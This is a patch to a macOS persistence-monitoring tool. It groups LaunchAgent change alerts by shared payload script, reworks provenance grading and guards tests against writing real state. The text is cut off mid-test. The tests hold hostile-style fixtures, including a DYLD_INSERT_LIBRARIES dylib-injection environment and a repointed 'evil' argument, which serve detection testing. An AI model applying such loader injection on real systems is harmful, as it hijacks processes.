From efda737f93e81b9971bbac11dfc306fbfc12df33 Mon Sep 17 00:00:00 2001
From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com>
Date: Wed, 23 Sep 2026 15:07:43 -0700
Subject: [PATCH 1/3] One edit to a shared payload was seven HIGH incidents,
 and the rung that explained it was lost to every git timeout

Precision plan step S7 (Phase 3): the operator's own LaunchAgents.

Gap 1: one payload edit, seven cases. #383 and #392-#397 were one edit to
~/Ai/Universe/tools/aikit/schedule/run.py (4a1646366adf -> 25ee9a4593c2),
one incident per com.aikit.* plist that runs it. check_persistence now
collects a change confined to a payload's bytes (same program, argv, env and
payload path; never an attack-defined job) and emits ONE finding per
(payload, new sha): case persistence:payload-update:<payload>, the referring
labels in the detail and their plist paths in referrer_paths. Same shape as
the OS-program case. _accept_into_baseline promotes every job a verdicted
payload case names, so one benign-positive ends the re-assertion for all of
them. Store migration persistence_payload_case_20260923 folds open per-plist
incidents whose newest evidence is payload-only into that case (evidence
matched, created_at < now, adjudicated rows untouched).

Gap 2: why custody read null. The rung did reach the payload.
_custody(run.py, sha) answered local-commit (MEDIUM) on 193 of the 217 scans
that recorded the change. The 24 scans that recorded custody null and HIGH
were the scans where git did not answer: 11-190 s per plist there, against
0-1 s when it answered (probe timeouts are 10-15 s). Seven plists asked git
about the same file seven times a scan. Each non-answer flipped the case
back to HIGH and wrote a new event. The payload is now graded once per scan,
by _custody_payload. It asks the same intent-then-git questions. When git
gives no answer at all, it asks whether the bytes were already explained:
by the custody ledger (a rung this payload earned on an earlier scan, now
remembered) or by an intent receipt for the same sha at another path. Either
one carries as copy-of-graded, the weakest rung. On the recorded corpus that
takes run.py from 24 HIGH scans to 1 (the first sighting, before any answer
existed).

#319 (~/.local/bin/improver bytes -> a588f96d11b4) was never asked. An
extension-less payload fails _intent_worthy, and its receipt binds the source
path the agent wrote (.../VSCode Projects/improver/improver.py), not the
installed copy. _custody_payload drops that hook-mode prefilter, and
_intent_receipt finds the receipt by sha. Result: copy-of-graded, MEDIUM.

Also touched in the same branch: the per-job payload custody lookup now
honours attack_defined, as its comment already promised. Before this, a
DYLD-injected job whose payload was committed recorded
custody=self-committed on an attack-defined finding. The severity was
untouched, but the chain and routing tiers read that field.

Gap 3: producer fields. On current code the NEW finding already resolves a
producer class through its subject. The seven cited incidents lack one only
in their pre-2026-08-29 evidence, which predates subjects and the runner
subcommand fix (script_target None) and cannot be recovered. The NEW finding
now also carries program_sha and target_sha flat, and target_sha on the
subject, so recorded evidence names both halves of what the job executes.

Also touched: tests/conftest.py. The new ledger writer turned an existing
test leak into a write. FamiliesAreTheAdjudicationSurface re-diffs the REAL
LaunchAgents through _accept_into_baseline, and during this branch's suite
run it appended a local-commit row for run.py to the operator's
~/.aegis/custody.jsonl. That row has been removed by hand. The suite now
refuses and reports any _custody_remember aimed at the real ledger, the same
way it handles the notary anchor. The guard also stops a pre-existing leak:
TestWritEnforcementIsActuallyWired reached the real ledger 45 times through
_grade_binary.

Tests: tests/test_persistence_payload_case.py (28).

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
---
 aegis.py                               | 280 ++++++++++++-
 tests/conftest.py                      |  30 ++
 tests/test_persistence_payload_case.py | 550 +++++++++++++++++++++++++
 3 files changed, 843 insertions(+), 17 deletions(-)
 create mode 100644 tests/test_persistence_payload_case.py

diff --git a/aegis.py b/aegis.py
index 4a2d512..fed9061 100755
--- a/aegis.py
+++ b/aegis.py
@@ -6489,6 +6489,64 @@ def _retire_unjoinable_chain_incidents(db, now):
     return retired
 
 
+# FROZEN recognizer for the 2026-09-23 payload-case migration: the first
+# detail line check_persistence wrote for a change confined to a payload's
+# bytes, `<label>: payload <path> bytes <old12> -> <new12>` and nothing else.
+# Any other part of a change (program, args, env) is joined on with "; " and
+# the anchors refuse it.
+_MIG_PAYLOAD_ONLY_DETAIL_RE = re.compile(
+    r"^.*?: payload (.+) bytes [0-9a-f?]{1,12} -> [0-9a-f?]{1,12}$")
+
+
+def _fold_payload_update_cases(db, now):
+    """One-time: fold the per-job incidents about one payload's bytes into
+    the one case per payload that check_persistence now mints.
+
+    Before the 2026-09-23 payload case, a rewrite of a script several jobs
+    run was one incident per referring plist -- #383 and #392-#397 were one
+    edit to aikit's run.py. The forward fix changes which key a NEW incident
+    is minted under and does nothing for the rows already open, so they are
+    folded here: the newest is re-keyed to `persistence:payload-update:<path>`
+    and inherits every sibling's evidence, and the siblings close as
+    superseded. Folding rather than retiring, unlike the OS-program
+    migration, because the new case IS about the same fact -- the payload
+    and its bytes are in the evidence, so nothing is guessed.
+
+    Matched on EVIDENCE, never on key shape: `changed:<plist>` is still the
+    live key for every change that is not payload-only. An incident folds only
+    when its newest evidence is a payload-only detail naming the same path as
+    its recorded script_target, on the plist its key names. Incidents created
+    in the scan that runs the migration are out of scope by construction, and
+    adjudicated rows are never touched.
+    """
+    groups = {}
+    for row in db.execute(
+            "SELECT id,correlation_key FROM incidents WHERE status IN "
+            "('OPEN','ACK') AND correlation_key LIKE "
+            "'signal:persistence:changed:%' AND created_at < ? ORDER BY id",
+            (now,)).fetchall():
+        key = _MIG_PERSIST_CHANGED_CASE_RE.match(row["correlation_key"] or "")
+        if not key:
+            continue
+        ev = _mig_latest_event(db, row["id"])
+        head = str(ev.get("detail") or "").split("\n", 1)[0]
+        hit = _MIG_PAYLOAD_ONLY_DETAIL_RE.match(head)
+        if not hit or hit.group(1) != ev.get("script_target"):
+            continue
+        if ev.get("path") not in (None, key.group(1)):
+            continue
+        groups.setdefault(hit.group(1), []).append(row["id"])
+    folded = 0
+    for payload, ids in sorted(groups.items()):
+        folded += _fold_incidents(
+            db, now, "signal:persistence:payload-update:%s" % payload, ids,
+            "superseded: a change to a payload script's BYTES is now one case "
+            "per payload, not one per persistence item that runs it — one "
+            "edit to a shared run.py minted seven HIGH incidents. Folded into "
+            "the payload's case with its evidence")
+    return folded
+
+
 _STORE_MIGRATIONS = (
     ("exec_identity_migrated", _retire_legacy_exec_incidents,
      "retired %d incident(s) keyed on the old positional exec identity"),
@@ -6515,6 +6573,12 @@ def _retire_unjoinable_chain_incidents(db, now):
     # ones they would not have formed receive nothing that could close them.
     ("chain_legs_20260923", _retire_unjoinable_chain_incidents,
      "retired %d chain incident(s) the current join rules would not form"),
+    # The 2026-09-23 payload case: a change confined to a payload script's
+    # bytes is one case per payload, and the per-job cases minted before it
+    # fold into it, evidence and all.
+    ("persistence_payload_case_20260923", _fold_payload_update_cases,
+     "folded %d per-job persistence incident(s) into one case per rewritten "
+     "payload"),
 )
 
 
@@ -8097,10 +8161,51 @@ def _os_program_update(old, rec, prog_changed,
     return program
 
 
+def _payload_update(old, rec, prog_changed, env_changed, args_changed,
+                    target_changed, attack_defined):
+    """The payload path when this persistence change is confined to the bytes
+    of the script the job runs.
+
+    The payload twin of _os_program_update, for the same reason. On
+    2026-09-10 one edit to ~/Ai/Universe/tools/aikit/schedule/run.py
+    (4a1646366adf -> 25ee9a4593c2) minted seven HIGH incidents, #383 and
+    #392-#397 -- one per `com.aikit.*` plist that runs it, each keyed on the
+    referring PLIST, none of them about the plist, which was untouched. The
+    fact was one script's bytes; the plists were where it was seen.
+
+    Every conjunct is load-bearing:
+
+      confined to payload bytes   a program, argv or env change alongside is
+                                  a repointed or injected job -- the attack
+                                  this sensor exists for -- and keeps its own
+                                  per-job case.
+      same payload PATH           a job told to run a DIFFERENT script is a
+                                  config edit, not a rewrite of this one.
+      not attack-defined          a hostile argv or a loader-injection env on
+                                  the job is never folded, so the payload's
+                                  custody can never be what quiets it.
+
+    Unlike the OS case this makes no severity claim of its own: the payload's
+    custody, asked once for all the jobs, is the only thing that may demote
+    it.
+    """
+    if not target_changed or attack_defined:
+        return None
+    if prog_changed or env_changed or args_changed:
+        return None
+    payload = rec.get("script_target")
+    if not payload or payload != old.get("script_target"):
+        return None
+    return payload
+
+
 def check_persistence(baseline_snap, current_snap):
     findings = []
     # (program, new_sha) -> [labels of the jobs that reference it]
     os_updates = {}
+    # (payload, new_sha) -> [(path, old, rec, severity)] of the jobs whose
+    # only change is that payload's bytes
+    payload_updates = {}
     base = baseline_snap or {}
     for path, rec in current_snap.items():
         if path not in base:
@@ -8118,10 +8223,17 @@ def check_persistence(baseline_snap, current_snap):
                     "persistence", path, op="new", content=rec.get("sha256"),
                     program_sha=rec.get("sha256"), trust=rec.get("trust"),
                     target=_script_target(rec.get("args"),
-                                          rec.get("program"))),
+                                          rec.get("program")),
+                    target_sha=rec.get("target_sha")),
                 path=path, program=rec.get("program"), trust=rec.get("trust"),
                 script_target=_script_target(rec.get("args"),
                                              rec.get("program")),
+                # The bytes of both halves of what the job executes, as the
+                # snapshot hashed them -- the pair a CHANGED diff compares.
+                # The recorded evidence named neither, so a NEW finding read
+                # back from the store could not say which producer it was.
+                program_sha=rec.get("sha256"),
+                target_sha=rec.get("target_sha"),
                 run_at_load=rec.get("run_at_load")))
         else:
             old = base[path]
@@ -8173,6 +8285,17 @@ def check_persistence(baseline_snap, current_snap):
                 # payload can never be quieted by proving who moved it.
                 attack_defined = _env_attack_defined(rec.get("env")) \
                     or _hostile_args(rec.get("args"), rec.get("program"))
+                # One payload rewritten is ONE fact, however many jobs run
+                # it: collected here, graded once after the loop, keyed on
+                # the payload. See _payload_update.
+                payload = _payload_update(
+                    old, rec, prog_changed, env_changed, args_changed,
+                    target_changed, attack_defined)
+                if payload:
+                    payload_updates.setdefault(
+                        (payload, rec.get("target_sha")), []).append(
+                            (path, old, rec, sev))
+                    continue
                 prov = (None if attack_defined
                         else _custody_persistence(old, rec)
                         or (_custody(path, rec.get("sha256"))[0]
@@ -8182,8 +8305,11 @@ def check_persistence(baseline_snap, current_snap):
                 # so grading only `path` can never see who did it and every
                 # payload update reads as a swap. Ask the ledger about the
                 # payload that actually changed. Same rung, same demote-only
-                # ladder, same attack-defined refusal above.
-                if prov is None and target_changed:
+                # ladder, same attack-defined refusal above -- asked here too,
+                # or a DYLD-injected job whose payload is committed would
+                # record custody=self-committed on an attack-defined finding
+                # that the grader downstream cannot tell apart.
+                if prov is None and target_changed and not attack_defined:
                     tgt = rec.get("script_target") or _script_target(
                         rec.get("args"), rec.get("program"))
                     if tgt and rec.get("target_sha") and _intent_worthy(tgt):
@@ -8244,6 +8370,39 @@ def check_persistence(baseline_snap, current_snap):
             path=program, program=program, trust="apple",
             custody="os-vendor",
             referrer_count=len(labels), referrers=sorted(labels)))
+    # One finding per rewritten payload, carrying every job that runs it, so
+    # the operator adjudicates the edit once. Custody is asked ONCE, about
+    # the payload: seven jobs sharing run.py asked git seven times a scan,
+    # and every probe that timed out re-minted a case at HIGH. Severity is
+    # the worst any job scores (each already floored at HIGH, exactly as a
+    # single job's is) before the payload's rung demotes it. The signal key
+    # carries the new sha, so the NEXT edit is a new finding rather than a
+    # silenced recurrence.
+    for (payload, sha), jobs in sorted(payload_updates.items()):
+        jobs.sort(key=lambda job: job[0])
+        worst = max(jobs, key=lambda job: SEV_ORDER[job[3]])
+        prov, note = _custody_payload(payload, sha)
+        labels = sorted(str(rec.get("label") or path)
+                        for path, _old, rec, _sev in jobs)
+        olds = sorted({(old.get("target_sha") or "?")[:12]
+                       for _path, old, _rec, _sev in jobs})
+        detail = ("payload %s bytes %s -> %s; %d persistence item(s) run it: "
+                  "%s" % (payload, ",".join(olds), sha[:12], len(labels),
+                          ", ".join(labels[:12])
+                          + (" …" if len(labels) > 12 else "")))
+        if note:
+            detail = "%s\n%s" % (detail, note)
+        findings.append(finding(
+            _demote(worst[3], prov), "persistence",
+            "Persistence item CHANGED", detail,
+            "persistence:payload-update:%s:%s" % (payload, sha),
+            case_fingerprint="persistence:payload-update:%s" % payload,
+            subject=_subject("persistence", payload, content=sha),
+            path=payload, program=worst[2].get("program"),
+            trust=worst[2].get("trust"), custody=prov,
+            script_target=payload, target_sha=sha,
+            referrer_count=len(jobs), referrers=labels,
+            referrer_paths=[path for path, _old, _rec, _sev in jobs]))
     return findings
 
 
@@ -17343,6 +17502,49 @@ def _custody_persistence(old, rec):
     return None
 
 
+def _custody_payload(path, sha):
+    """(rung, note) for the payload script of a CHANGED persistence item.
+
+    The two questions _custody asks -- a signed intent receipt for these
+    exact bytes at this path, then git -- with two differences the live store
+    showed were needed (2026-09-23):
+
+      * no `_intent_worthy` prefilter. That exists to keep HOOK mode from
+        recording every file an agent touches; a script a persistence item
+        runs is worth grading by definition. #319's payload,
+        ~/.local/bin/improver, has no extension, so it was never asked.
+      * when git gives NO answer -- not in a repo, or a probe timed out --
+        the bytes are asked what _grade_binary asks last: were they already
+        explained somewhere else? By the custody ledger (a rung this payload
+        earned on an earlier scan, which is what stops a git timeout flipping
+        a graded case back to HIGH: 23 of the 217 scans that recorded run.py
+        did exactly that, taking 11-190 s per job against 0-1 s when git
+        answered), or by an intent receipt for the same sha at another path
+        (#319: the agent wrote improver.py, an install step copied the
+        bytes). Either carries as `copy-of-graded` -- the weakest rung, one
+        step, never a re-conferral.
+
+    A carried rung fills a non-answer and never argues with an answer:
+    `untracked` and `remote-foreign` stand as git gave them. A rung earned
+    here is remembered against the bytes, so the next non-answer can carry it.
+    """
+    rung, note = _custody(path, sha)
+    if rung in _SELF_CUSTODY or rung in _VOUCHED_CUSTODY \
+            or rung in _WEAK_CUSTODY:
+        _custody_remember(sha, rung, path)
+        return rung, note
+    if rung is not None:
+        return rung, note
+    carried = _custody_carried(sha)
+    if carried is None:
+        receipt = _intent_receipt(sha)
+        if receipt:
+            carried = ("self-attested",) + receipt
+    if carried:
+        return "copy-of-graded", _custody_carry_note(carried)
+    return None, ""
+
+
 
 
 def cmd_vouch(argv):
@@ -17672,6 +17874,41 @@ def _intent_attested(path, sha):
     return False
 
 
+def _intent_receipt(sha):
+    """(path, ts) of the newest valid intent record for content `sha` at ANY
+    path, or None.
+
+    _intent_attested binds bytes to the path the agent wrote. This asks about
+    the bytes alone, for the one caller that must recognise a copy: an agent
+    writes a script in its repo and an install step copies it to where a
+    persistence item runs it (#319: improver.py -> ~/.local/bin/improver,
+    same sha a588f96d11b4). What that proves is carried, never re-conferred
+    -- see _custody_payload. Same validity rules: newest first, and a bad MAC
+    or a stale timestamp is a non-match."""
+    if not sha:
+        return None
+    try:
+        with open(INTENT_FILE, "rb") as f:
+            blob = f.read(_INTENT_MAX_BYTES).decode("utf-8", "replace")
+    except OSError:
+        return None
+    cutoff = _epoch() - _INTENT_MAX_AGE_DAYS * 86400
+    for ln in reversed(blob.splitlines()):
+        try:
+            rec = json.loads(ln)
+        except Exception:
+            continue
+        if not isinstance(rec, dict) or rec.get("sha256") != sha:
+            continue
+        if _epoch(rec.get("ts")) < cutoff:
+            continue
+        expect = _intent_mac(rec.get("ts"), rec.get("path"),
+                             rec.get("sha256"), rec.get("tool"))
+        if hmac.compare_digest(expect, str(rec.get("mac") or "")):
+            return rec.get("path"), rec.get("ts")
+    return None
+
+
 def _intent_worthy(path):
     """Is `path` something the delegate surface could ever grade? Cheap
     prefilter for hook mode so the ledger holds agent-surface writes, not a
@@ -21515,25 +21752,34 @@ def _accept_into_baseline(incident_ids):
             if f["fingerprint"] not in wanted and not (
                     case in wanted and f["fingerprint"] in reviewed):
                 continue
-            entry = _accepted_entry_key(f, prior, live)
-            if entry is None:
+            # A payload case is one fact carried as evidence on every job
+            # that runs the reviewed bytes (check_persistence lists them in
+            # referrer_paths), so one verdict accepts them all. Only jobs
+            # the recomputed diff still names are listed, which keeps the
+            # guard above: a job that moved on is in a different finding.
+            entries = [p for p in (f.get("referrer_paths") or ())
+                       if p in live or p in prior] \
+                or [_accepted_entry_key(f, prior, live)]
+            if entries == [None]:
                 continue
-            if entry in live:
-                # Stored verbatim from the snapshot, which is ALREADY in
-                # baseline shape (persistence emits args_sha256 alongside args,
-                # exactly as the store holds it). Re-deriving the shape here
-                # would make the accepted record differ from every other one,
-                # and the diffs compare those fields like-for-like — so the
-                # item would report CHANGED on every scan from then on, which
-                # is the noise this whole path exists to end.
-                prior[entry] = live[entry]
-            else:
-                prior.pop(entry, None)
+            for entry in entries:
+                if entry in live:
+                    # Stored verbatim from the snapshot, which is ALREADY in
+                    # baseline shape (persistence emits args_sha256 alongside
+                    # args, exactly as the store holds it). Re-deriving the
+                    # shape here would make the accepted record differ from
+                    # every other one, and the diffs compare those fields
+                    # like-for-like — so the item would report CHANGED on
+                    # every scan from then on, which is the noise this whole
+                    # path exists to end.
+                    prior[entry] = live[entry]
+                else:
+                    prior.pop(entry, None)
+                accepted.append(entry)
             baseline[key] = prior
             wanted.discard(f["fingerprint"])
             if case:
                 wanted.discard(case)
-            accepted.append(entry)
             dirty = True
     if not dirty:
         return []
diff --git a/tests/conftest.py b/tests/conftest.py
index 868421a..08d54c3 100644
--- a/tests/conftest.py
+++ b/tests/conftest.py
@@ -53,6 +53,15 @@
 # rather than becoming a silently-tolerated leak.
 REAL_RUN_LOG_WRITES = []
 REAL_ANCHOR_WRITES = []
+# The custody ledger (~/.aegis/custody.jsonl) is written by `_custody_remember`
+# with a raw os.open, so none of the wrappers below saw it. Found 2026-09-23:
+# test_provenance_tier's FamiliesAreTheAdjudicationSurface accepts a verdict
+# through `_accept_into_baseline`, which re-diffs the REAL LaunchAgents, and
+# with persistence payloads graded by `_custody_payload` that appended a real
+# `local-commit` row for ~/Ai/Universe/tools/aikit/schedule/run.py to the
+# operator's ledger. TestWritEnforcementIsActuallyWired runs a real
+# `gather_all` and reached the same writer 45 times through `_grade_binary`.
+REAL_CUSTODY_WRITES = []
 
 
 def _targets_real_state(path):
@@ -96,6 +105,7 @@ def _forbid_real_state_writes():
     real_ensure = aegis.ensure_state
     real_log_run = aegis.log_run
     real_emit_anchor = aegis._notary_emit_anchor
+    real_custody_remember = aegis._custody_remember
     leaked = []
 
     def _refuse(what, path):
@@ -137,6 +147,17 @@ def guarded_emit_anchor(seq, head):
         REAL_ANCHOR_WRITES.append((seq, head))
         return "absent"
 
+    def guarded_custody_remember(sha, rung, path):
+        # Refused and recorded rather than raised, like the notary anchor:
+        # the callers are grading paths that treat a failed write as "no
+        # rung remembered", and several scan-level tests reach this through
+        # real sensors they cannot sandbox one global at a time. What must
+        # never happen is the append; the session-end line keeps it visible.
+        if _targets_real_state(aegis.CUSTODY_FILE):
+            REAL_CUSTODY_WRITES.append((rung, path))
+            return False
+        return real_custody_remember(sha, rung, path)
+
     def guarded_log_run(msg):
         # Ask where the write would ACTUALLY land, not where the RUN_LOG
         # constant points: aegis.log_run resolves its path against the current
@@ -164,6 +185,7 @@ def guarded_log_run(msg):
     aegis.ensure_state = guarded_ensure
     aegis.log_run = guarded_log_run
     aegis._notary_emit_anchor = guarded_emit_anchor
+    aegis._custody_remember = guarded_custody_remember
     try:
         yield leaked
     finally:
@@ -172,6 +194,7 @@ def guarded_log_run(msg):
         aegis.ensure_state = real_ensure
         aegis.log_run = real_log_run
         aegis._notary_emit_anchor = real_emit_anchor
+        aegis._custody_remember = real_custody_remember
 
 IS_MAC = sys.platform == "darwin"
 
@@ -429,6 +452,13 @@ def pytest_sessionfinish(session, exitstatus):
             "\n%d notary OS-log anchor(s) from sandboxed chains were "
             "suppressed. Writing them pollutes the machine's real "
             "tamper-evidence record.\n" % len(REAL_ANCHOR_WRITES))
+    if REAL_CUSTODY_WRITES:
+        sys.stderr.write(
+            "\n%d custody-ledger write(s) aimed at the REAL "
+            "~/.aegis/custody.jsonl were REFUSED by tests/conftest.py. "
+            "Sandbox aegis.CUSTODY_FILE in the offending test's setUp. "
+            "First: %s\n" % (len(REAL_CUSTODY_WRITES),
+                              REAL_CUSTODY_WRITES[0]))
     if REAL_RUN_LOG_WRITES:
         n = len(REAL_RUN_LOG_WRITES)
         sys.stderr.write(
diff --git a/tests/test_persistence_payload_case.py b/tests/test_persistence_payload_case.py
new file mode 100644
index 0000000..dbd6e0e
--- /dev/null
+++ b/tests/test_persistence_payload_case.py
@@ -0,0 +1,550 @@
+#!/usr/bin/env python3
+"""The operator's own LaunchAgents: one payload edit is one fact (2026-09-23).
+
+Persistence on the operator's own ~/Library/LaunchAgents was the largest
+residue after Phase 1 of the precision plan: 44 of the re-opened noise
+incidents. Measured on the live store, three separate gaps:
+
+  1. ONE edit to ~/Ai/Universe/tools/aikit/schedule/run.py (4a1646366adf ->
+     25ee9a4593c2) minted seven HIGH incidents, #383 and #392-#397 -- one per
+     `com.aikit.*` plist that runs it. The program-bytes case had already
+     learned that one OS binary updating is one fact however many jobs call
+     it; a shared PAYLOAD script still keyed per plist.
+
+  2. Custody DID reach that payload -- `_custody(run.py, sha)` answered
+     `local-commit` (MEDIUM) on 193 of the 217 scans that recorded it. The 23
+     scans that recorded `custody: null` / HIGH were the ones where git did
+     not answer: each plist there took 11-190 s to grade (a probe timeout is
+     10-15 s), against 0-1 s in the scans that answered. Seven plists sharing
+     one payload asked git seven times per scan, and every non-answer flipped
+     the case back to HIGH. And #319 (~/.local/bin/improver) was never asked
+     at all: an extension-less payload fails `_intent_worthy`, and the intent
+     receipt for its bytes (a588f96d11b4) binds the SOURCE path the agent
+     wrote, ~/Ai/001/ARC/VSCode Projects/improver/improver.py, not the
+     installed copy.
+
+  3. A NEW persistence finding named its launcher only inside the subject;
+     the flat evidence carried neither the launcher's bytes nor the payload's.
+
+Every assertion here is one of those facts, or the safety property that keeps
+the fix from becoming a blind spot: attack-defined jobs are never folded or
+graded, a first-sight non-answer still alarms, and an affirmative "foreign"
+answer from git is never overridden by a carried rung.
+
+Trust comes from conftest (SUSPICIOUS_TRUST), never a macOS literal, and the
+paths are dict keys and stubbed provenance, so every class runs on all bodies.
+"""
+import json
+import os
+import shutil
+import sqlite3
+import sys
+import tempfile
+import unittest
+
+sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+import aegis  # noqa: E402
+from conftest import SUSPICIOUS_TRUST  # noqa: E402
+
+UV = "/Users/me/.local/bin/uv"
+RUN = "/Users/me/Ai/Universe/tools/aikit/schedule/run.py"
+UV_SHA = "94" + "1" * 62
+OLD = "4a" + "0" * 62
+NEW = "25" + "e" * 62
+IMPROVER = "/Users/me/.local/bin/improver"
+IMPROVER_SRC = "/Users/me/Ai/001/ARC/VSCode Projects/improver/improver.py"
+LABELS = ("aikit-tests", "doctor", "mdsync-verify", "render", "smash-prune",
+          "tree-lint", "universe-ledger")
+
+
+def _job(name, target=RUN, target_sha=OLD, args=None, env=None, trust=None):
+    """A launchd record in the exact shape snapshot_persistence() emits."""
+    trust = SUSPICIOUS_TRUST if trust is None else trust
+    if args is None:
+        args = [UV, "run", target, name]
+    path = "/Users/me/Library/LaunchAgents/com.aikit.%s.plist" % name
+    return path, {
+        "label": "com.aikit." + name, "program": UV, "sha256": UV_SHA,
+        "trust": trust, "run_at_load": False, "authority": None, "env": env,
+        "args": args,
+        "args_sha256": aegis.hashlib.sha256(json.dumps(
+            args, sort_keys=True, default=str).encode()).hexdigest(),
+        "script_target": target, "target_sha": target_sha}
+
+
+def _snaps(names=LABELS, new=NEW, **kw):
+    base, cur = {}, {}
+    for name in names:
+        path, rec = _job(name, **kw)
+        base[path] = rec
+        cur[path] = dict(rec, target_sha=new)
+    return base, cur
+
+
+def _changed(findings):
+    return [f for f in findings if f["title"] == "Persistence item CHANGED"]
+
+
+class LedgerSandbox(unittest.TestCase):
+    """Every ledger this grading reads or writes, in a throwaway dir, and
+    git stubbed: the paths above exist nowhere, and a real `git` against
+    them would only ever answer None -- which is one of the cases under
+    test, so it must be chosen, not inherited."""
+
+    def setUp(self):
+        self.tmp = tempfile.mkdtemp(prefix="aegis_payload_case_")
+        self.state = os.path.join(self.tmp, ".aegis")
+        os.makedirs(self.state)
+        self._saved = {}
+        for k, v in (("STATE_DIR", self.state),
+                     ("INTENT_FILE", os.path.join(self.state, "intent.jsonl")),
+                     ("CUSTODY_FILE", os.path.join(self.state,
+                                                   "custody.jsonl")),
+                     ("HMAC_KEY_FILE", os.path.join(self.state, "hmac.key")),
+                     ("RUN_LOG", os.path.join(self.state, "run.log")),
+                     ("_git_provenance", self._git)):
+            self._saved[k] = getattr(aegis, k)
+            setattr(aegis, k, v)
+        aegis._CUSTODY_CARRY_CACHE.clear()
+        self.git_answer = None
+        self.git_asked = []
+
+    def tearDown(self):
+        for k, v in self._saved.items():
+            setattr(aegis, k, v)
+        aegis._CUSTODY_CARRY_CACHE.clear()
+        shutil.rmtree(self.tmp, ignore_errors=True)
+
+    def _git(self, path):
+        self.git_asked.append(path)
+        return self.git_answer
+
+    def _receipt(self, path, sha, mac=None, tool="claude-code"):
+        """One intent record as `aegis.py intent hook` writes it, MAC'd with
+        the sandbox key -- for a path that need not exist. A real file would
+        have to live in a temp dir, and a payload in a temp drop dir is the
+        AMOS shape: attack-defined, never graded, which is not what these
+        tests are about."""
+        ts = aegis.now_iso()
+        rec = {"ts": ts, "path": path, "sha256": sha, "tool": tool,
+               "mac": mac or aegis._intent_mac(ts, path, sha, tool)}
+        with open(aegis.INTENT_FILE, "a", encoding="utf-8") as f:
+            f.write(json.dumps(rec) + "\n")
+
+
+class OnePayloadEditIsOneCase(LedgerSandbox):
+    """#383, #392-#397: seven plists, one run.py, one edit."""
+
+    def test_seven_jobs_sharing_a_payload_become_one_finding(self):
+        base, cur = _snaps()
+        out = _changed(aegis.check_persistence(base, cur))
+        self.assertEqual(len(out), 1, [f["fingerprint"] for f in out])
+        f = out[0]
+        self.assertEqual(f["fingerprint"],
+                         "persistence:payload-update:%s:%s" % (RUN, NEW))
+        self.assertEqual(f["case_fingerprint"],
+                         "persistence:payload-update:%s" % RUN)
+        self.assertEqual(f["path"], RUN)
+
+    def test_every_referring_job_survives_as_evidence(self):
+        """Collapsing must not destroy information: the one finding names
+        all seven jobs, which none of the seven incidents it replaces could."""
+        base, cur = _snaps()
+        f = _changed(aegis.check_persistence(base, cur))[0]
+        self.assertEqual(f["referrer_count"], 7)
+        self.assertEqual(sorted(f["referrer_paths"]), sorted(base))
+        for name in LABELS:
+            self.assertIn("com.aikit." + name, f["detail"])
+        self.assertIn("%s -> %s" % (OLD[:12], NEW[:12]), f["detail"])
+
+    def test_the_shared_payload_is_graded_once(self):
+        """Seven plists asked git about the same file seven times per scan,
+        and each probe was another chance to time out."""
+        base, cur = _snaps()
+        aegis.check_persistence(base, cur)
+        self.assertEqual(self.git_asked, [RUN])
+
+    def test_a_lone_job_is_keyed_on_its_payload_too(self):
+        """The identity may not depend on how many jobs happen to share the
+        script, or a second job appearing would move the case."""
+        base, cur = _snaps(names=("doctor",))
+        f = _changed(aegis.check_persistence(base, cur))[0]
+        self.assertEqual(f["case_fingerprint"],
+                         "persistence:payload-update:%s" % RUN)
+
+    def test_the_next_edit_is_not_a_silenced_recurrence(self):
+        base, cur = _snaps(names=("doctor", "render"))
+        first = _changed(aegis.check_persistence(base, cur))[0]
+        base2 = {k: dict(v, target_sha=NEW) for k, v in base.items()}
+        cur2 = {k: dict(v, target_sha="ff" * 32) for k, v in base.items()}
+        second = _changed(aegis.check_persistence(base2, cur2))[0]
+        self.assertNotEqual(first["fingerprint"], second["fingerprint"])
+        self.assertEqual(first["case_fingerprint"],
+                         second["case_fingerprint"])
+
+    def test_distinct_payloads_stay_distinct(self):
+        base, cur = _snaps(names=("a", "b"))
+        b2, c2 = _snaps(names=("c", "d"), target="/Users/me/tools/other.py")
+        base.update(b2)
+        cur.update(c2)
+        out = _changed(aegis.check_persistence(base, cur))
+        self.assertEqual(sorted(f["path"] for f in out),
+                         sorted([RUN, "/Users/me/tools/other.py"]))
+
+    def test_a_job_whose_config_also_changed_keeps_its_own_case(self):
+        """An argv, env or program change riding along is a different event
+        -- the repointed job this sensor exists for -- and must never be
+        folded into the payload's case."""
+        base, cur = _snaps()
+        path = sorted(base)[0]
+        cur[path] = dict(cur[path], args=[UV, "run", RUN, "evil"],
+                         args_sha256="0" * 64)
+        out = _changed(aegis.check_persistence(base, cur))
+        per_job = [f for f in out if f["path"] == path]
+        grouped = [f for f in out if f["path"] == RUN]
+        self.assertEqual(len(per_job), 1)
+        self.assertEqual(len(grouped), 1)
+        self.assertEqual(grouped[0]["referrer_count"], 6)
+        self.assertNotIn(path, grouped[0]["referrer_paths"])
+
+    def test_an_attack_defined_job_is_never_folded_or_graded(self):
+        """A dylib-injection env on the job keeps its own full-severity case,
+        whatever custody the payload has."""
+        self.git_answer = "self-committed"
+        env = {"DYLD_INSERT_LIBRARIES": "/Users/me/x.dylib"}
+        base, cur = _snaps(names=("evil",), env=env)
+        out = _changed(aegis.check_persistence(base, cur))
+        self.assertEqual(len(out), 1)
+        self.assertEqual(out[0]["path"], sorted(base)[0])
+        self.assertIsNone(out[0].get("custody"))
+        self.assertIn(out[0]["severity"], ("HIGH", "CRITICAL"))
+
+
+class PayloadCustodyReachesTheBytes(LedgerSandbox):
+    """What the ladder can prove about the payload, asked once."""
+
+    def test_local_commit_demotes_one_step(self):
+        self.git_answer = "local-commit"
+        base, cur = _snaps()
+        f = _changed(aegis.check_persistence(base, cur))[0]
+        self.assertEqual(f["custody"], "local-commit")
+        self.assertEqual(f["severity"], "MEDIUM")
+
+    def test_no_answer_at_first_sight_keeps_the_full_alarm(self):
+        """Fail toward suspicion: nothing known about these bytes, nothing
+        demoted."""
+        base, cur = _snaps()
+        f = _changed(aegis.check_persistence(base, cur))[0]
+        self.assertIsNone(f.get("custody"))
+        self.assertEqual(f["severity"], "HIGH")
+
+    def test_a_git_non_answer_after_an_answer_does_not_flip_to_high(self):
+        """The 23 scans: git answered local-commit, then timed out on the
+        next scan, and the case went back to HIGH. The answer already given
+        about these exact bytes is remembered, so a later non-answer carries
+        it at the weakest rung instead of reading as a stranger's file."""
